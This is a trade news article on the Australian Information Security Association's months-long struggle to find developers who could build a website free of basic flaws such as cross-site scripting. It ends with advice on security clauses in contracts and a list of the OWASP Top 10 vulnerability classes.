AISA's fight to build a secure site

If developers who can craft secure websites exist, they know how to hide from the information security industry.

When the Australian Information Security Association went hunting for a developer to revamp its website it discovered the dearth of IT security skills in even those developers who claimed security street cred.

And the not-for-profit industry association's experience is the norm, says research firm Ovum.

The association that represents about 1200 Australian information security professionals, spent six months vetting dozens of web developers. The selection criteria was that its website be built to good coding practice and immune to vulnerabilities listed on the Open Web Application Security Project Top 10.

The reason was clear: the "white-hat" security organisation was a target for hackers and a website breach would be embarrassing.

Three developers that claimed to write secure websites were shortlisted but the one chosen for the job handed over the new AISA site riddled with basic vulnerabilities.

“Not one of them understood web application vulnerabilities”, says Fatemah Beydoun, an association co-ordinator and practice manager for a global penetration testing company.

“All we saw were blank faces when they heard the anything about security. Their answer to security problems was access rights - forget about bypass exploits, that was that.”

The website launched last week was given the green light after heavy penetration testing and months of pain.

Organisation members called to reality check the web designers' pitches dosed with buzz words.

“They did a quick Google search for interesting keywords and used them out of context in the proposals. They didn’t make sense,” Beydoun says.

One of those which failed the test claimed to have designed web applications for one of Australia’s biggest banks.

Beydoun says designers' approach was akin to a surcharge on a car to ensure it was roadworthy: “When they saw the criteria, they said they would charge extra to build a secure site".

The company the association chose agreed to penetration tests of its code and to pay to fix vulnerabilities and design faults. It said it had built web applications for high-profile government agencies.

But six months later, after dozens of conference calls and visits from the chief executive officer, its mood soured.

It set off alarm bells when it asked questions about the criteria of upcoming penetration tests that subsequently found the website to be “riddled with holes”, Beydoun remembers.

“It was those really stupid things, you know? Like bad URL access, lots of [cross-site scripting]. There was a lot of hand holding.”

Bad URL access occurs when applications do not protect page requests properly. It means that pages which should be access restricted, are not.

Cross-site scripting vulnerabilities enables attackers to inject client-side script into webpages and bypass access controls.

Both security holes are common.

Beydoun said big organisations should use their financial muscle to force web developers to focus on building secure sites.

All shine and no security 

Researcher Ovum blames developer ignorance of website security for the "onslaught" of breaches this year.

"Developers have put too much emphasis on web cosmetics, the look and feel, the speed, and the ease of access," says Ovum analyst Andy Kellett. "Not enough importance has been placed on the requirement to write secure code and deliver a hardened infrastructure."

In the past three years, up to 70 percent of the web’s top 100 sites "either hosted malicious content or contained redirect facilities to illegitimate websites", he says.

Analysts found "real-time analysis and inspection of web pages" was required for website security.

Smarter contracts to fix websites

Although it was difficult for AISA to find a web developer with security skills, a contract can ensure the product is free of holes.

The Open Web Application Security Project recommended building security requirements into contracts. According to its secure software annex, costs of remediation should be established before work begins.

“While there are costs associated with performing security activities, there are also significant costs associated with ignoring them,” it said.

“We are convinced that the most cost-effective way to develop software is to reduce the likelihood that security flaws are introduced and to minimise the time between introducing a flaw and fixing it”.

“If you're outsourcing software development, talk with your developers. Make sure they understand your security needs. Make sure it gets in the contract.

"You may have to answer some hard questions about just how much security you're willing to pay for. If you're a software developer, be clear about what security you are providing, then do it.

"Make sure you understand whose responsibility it will be if a security vulnerability is uncovered after the software is in production.”

OWASP Top 10

1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

Copyright © SC Magazine, Australia